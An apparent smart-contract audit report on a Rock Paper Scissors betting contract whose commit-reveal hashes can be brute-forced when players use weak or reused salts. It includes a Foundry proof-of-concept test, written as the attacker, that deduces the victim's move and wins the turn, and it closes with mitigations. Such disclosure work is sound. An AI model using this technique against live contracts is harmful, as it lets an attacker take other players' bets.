Rock Paper Scissors

Summary

The RockPaperScissors contract's commit-reveal scheme (keccak256(abi.encodePacked(move, salt))) contains High severity vulnerabilities due to insufficient validation of the salt parameter used in move commitments. The contract does not appear to enforce requirements for salt uniqueness (per game/turn) or complexity. This allows two primary attack vectors: 1) Weak Salt: An opponent can deduce a player's move by brute-forcing the three possible moves combined with a predictable or commonly used salt (e.g., bytes32(0)) and comparing the result to the on-chain commitment hash. 2) Commit Reuse: An observer or opponent can predict a player's move if the player reuses the same (move, salt) pair across different turns or games, as this generates an identical, recognizable commitment hash. Both vulnerabilities break the core secrecy assumption of the commit-reveal phase, allowing an attacker to determine the victim's move prematurely, choose the winning counter-move, and guarantee the theft of the victim's bet (ETH or token).

Vulnerability Details

The vulnerability lies in the implementation of the commit-reveal scheme within the commitMove and revealMove functions in src/RockPaperScissors.sol. Players commit to a move by submitting a hash generated off-chain using the formula commit = keccak256(abi.encodePacked(move, salt)), where move is the chosen move (Rock, Paper, or Scissors represented as uint8) and salt is intended to be a secret random value (bytes32) chosen by the player. The commitMove function stores this commit hash associated with the player for the current turn/game. Later, the revealMove function takes the _move and _salt as input, recalculates the hash (keccak256(abi.encodePacked(Move(_move), _salt))), and verifies it against the stored commitment.

The core issue is that the contract does not enforce any requirements on the _salt parameter provided during the reveal (and implicitly used for the commit hash generation). It also does not prevent the same commitment hash from being used multiple times by the same player in different contexts (e.g., different turns or games). This lack of enforcement leads to two vulnerabilities:

1. Weak/Predictable Salt: A player might choose a simple, predictable, or commonly used salt (e.g., bytes32(0), bytes32(1)). An opponent observing the transaction calling commitMove can see the submitted commitHash stored on-chain (e.g., in the games mapping). If the opponent suspects a weak salt is being used (like bytes32(0)), they can easily compute the three possible commitment hashes off-chain:

   • keccak256(abi.encodePacked(uint8(1), bytes32(0))) // Hash for Rock + zero salt

   • keccak256(abi.encodePacked(uint8(2), bytes32(0))) // Hash for Paper + zero salt

   • keccak256(abi.encodePacked(uint8(3), bytes32(0))) // Hash for Scissors + zero salt By comparing these three results to the victim's on-chain commitHash, the opponent can determine the victim's move before the reveal phase, allowing them to choose a winning counter-move when they call commitMove.

2. Commit Hash Reuse: If a player reuses the exact same move and salt across different turns within a game, or potentially across different games (if the contract logic doesn't prevent it), they will always generate the exact same commitHash. An attacker who observed the player reveal a specific (move, salt) pair associated with a commitHash in a previous instance (e.g., via on-chain event logs from MoveRevealed or off-chain observation) can immediately identify the player's move in a subsequent turn/game as soon as they see the same commitHash being submitted via commitMove. This again allows the attacker to choose the winning counter-move.

   PoC:

   // ==================== NEW WEAK SALT COMMIT REVEAL POC TEST ====================

   ​

   function test_POC_WeakSaltCommitReveal() public {

   // Arrange: Player A creates, Player B joins

   console.log("Setting up Weak Salt PoC...");

   gameId = createAndJoinGame_Helper(playerA, playerB);

   ​

   // Player A chooses a move and commits using a weak (predictable) salt

   RockPaperScissors.Move moveA = RockPaperScissors.Move.Rock;

   bytes32 weakSaltA = bytes32(0); // The predictable salt

   bytes32 commitA = keccak256(abi.encodePacked(uint8(moveA), weakSaltA));

   vm.prank(playerA);

   game.commitMove(gameId, commitA);

   console.log("Player A committed move (Rock) with weak salt (0x0).");

   ​

   // Act: Player B (Attacker) deduces Player A's move and plays the winning move

   ​

   // 1. Attacker reads Player A's commitment hash from the contract state

   // Destructure: playerA, playerB, bet, timeoutInterval, revealDeadline, creationTime, joinDeadline, totalTurns, currentTurn, commitA, commitB, moveA, moveB, scoreA, scoreB, state

   (,,,,,,,,, bytes32 actualCommitA,,,,,,) = game.games(gameId);

   assertEq(actualCommitA, commitA, "Failed to read correct commitA from state");

   ​

   // 2. Attacker calculates potential hashes using the known weak salt

   bytes32 potentialCommitRock = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), weakSaltA));

   bytes32 potentialCommitPaper = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), weakSaltA));

   bytes32 potentialCommitScissors = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), weakSaltA));

   console.log("Attacker calculated potential hashes for Rock, Paper, Scissors with weak salt.");

   ​

   // 3. Attacker deduces Player A's move by comparing hashes

   RockPaperScissors.Move deducedMoveA = RockPaperScissors.Move.None;

   if (actualCommitA == potentialCommitRock) {

   deducedMoveA = RockPaperScissors.Move.Rock;

   } else if (actualCommitA == potentialCommitPaper) {

   deducedMoveA = RockPaperScissors.Move.Paper;

   } else if (actualCommitA == potentialCommitScissors) {

   deducedMoveA = RockPaperScissors.Move.Scissors;

   }

   assertEq(uint8(deducedMoveA), uint8(moveA), "Attacker failed to deduce Player A's move");

   console.log("Attacker deduced Player A played:", uint8(deducedMoveA));

   ​

   // 4. Attacker determines the winning move

   RockPaperScissors.Move winningMoveB = RockPaperScissors.Move.None;

   if (deducedMoveA == RockPaperScissors.Move.Rock) {

   winningMoveB = RockPaperScissors.Move.Paper;

   } else if (deducedMoveA == RockPaperScissors.Move.Paper) {

   winningMoveB = RockPaperScissors.Move.Scissors;

   } else if (deducedMoveA == RockPaperScissors.Move.Scissors) {

   winningMoveB = RockPaperScissors.Move.Rock;

   }

   console.log("Attacker chose winning move:", uint8(winningMoveB));

   ​

   // 5. Attacker commits the winning move using a strong salt

   bytes32 strongSaltB = keccak256(abi.encodePacked("attacker strong salt", block.timestamp));

   bytes32 commitB = keccak256(abi.encodePacked(uint8(winningMoveB), strongSaltB));

   vm.prank(playerB);

   game.commitMove(gameId, commitB);

   console.log("Attacker (Player B) committed the winning move.");

   ​

   // Reveal Phase: Both players reveal

   vm.prank(playerA);

   game.revealMove(gameId, uint8(moveA), weakSaltA); // Player A reveals Rock + weak salt

   vm.prank(playerB);

   game.revealMove(gameId, uint8(winningMoveB), strongSaltB); // Player B reveals Paper + strong salt

   console.log("Both players revealed.");

   ​

   // Assert: Check the outcome - Player B should have won the turn

   ​

   // Destructure to get scores (Slots 14, 15)

   (,,,,,,,,,,,,, uint8 scoreA_final, uint8 scoreB_final,) = game.games(gameId);

   ​

   assertEq(scoreA_final, 0, "Player A score should be 0");

   assertEq(scoreB_final, 1, "Player B score should be 1"); // Attacker wins the turn

   console.log("SUCCESS: Attacker (Player B) won the turn by exploiting weak salt.");

   }

   ​

PoC Result:

Impact

The impact of this vulnerability is High, leading directly to a loss of funds for players who fall victim to either the weak salt or commit reuse exploit.

• Guaranteed Loss of Bet: An attacker who can predict their opponent's move (by brute-forcing a weak salt or recognizing a reused commit hash) can always choose the winning counter-move. This allows the attacker to guarantee winning individual turns and, consequently, the entire game if the victim consistently uses weak/reused commits. The direct result is the theft of the victim's staked ETH or Winning Token.

• Compromised Game Integrity: The vulnerability fundamentally breaks the fairness of the Rock Paper Scissors game implemented by the protocol. The commit-reveal scheme's purpose is to ensure players choose moves without knowing their opponent's choice; this vulnerability negates that core principle.

• Loss of User Trust: Players who realize their moves can be predicted, leading to guaranteed losses, will lose confidence and trust in the fairness and security of the DApp.

Tools Used

Manuel code review

Forge Foundry

Recommendations

To mitigate the vulnerabilities in the commit-reveal scheme and prevent move prediction, the commitment hash calculation should be strengthened to ensure uniqueness per context and make brute-forcing with weak salts ineffective.

1. Include Contextual Nonces in Commitment Hash:

   • Modify the commitment generation logic (both off-chain for the user and on-chain for verification in revealMove) to include unique contextual information that changes for each commitment instance. A robust approach includes the contract address, game ID, and current turn number:

     commit = keccak256(abi.encodePacked(address(this), gameId, currentTurn, move, salt))

• address(this): The address of the RockPaperScissors contract instance (prevents replay across different contract deployments).

• gameId: The unique identifier for the current game.

• currentTurn: The current turn number within the game.

• move: The player's chosen move (uint8).

• salt: The player's secret bytes32 value.

Implementation:

Off-chain: Update the client-side interface or user guidance on how to generate the commitment hash, ensuring these additional parameters (address(this), gameId, currentTurn) are included before hashing.

On-chain (revealMove): Modify the revealMove function in src/RockPaperScissors.sol. Inside the function, retrieve the correct gameId and game.currentTurn from storage based on the provided _gameId. Then, recalculate the hash using the formula above with the fetched context, the provided _move, and the provided _salt. Verify this recalculated hash against the commitment stored for that player and turn in the games mapping.

2.Enforce Salt Usage (Client-Side Recommendation):

While difficult to enforce strictly on-chain without significantly increasing complexity, the application's frontend/client should strongly recommend and guide users to generate cryptographically secure, random bytes32 salts for each commitment.

The client should ideally generate this salt for the user and store it locally (e.g., in browser local storage) until the reveal phase.

Discourage or prevent the use of simple, predictable, or zero salts (e.g., bytes32(0))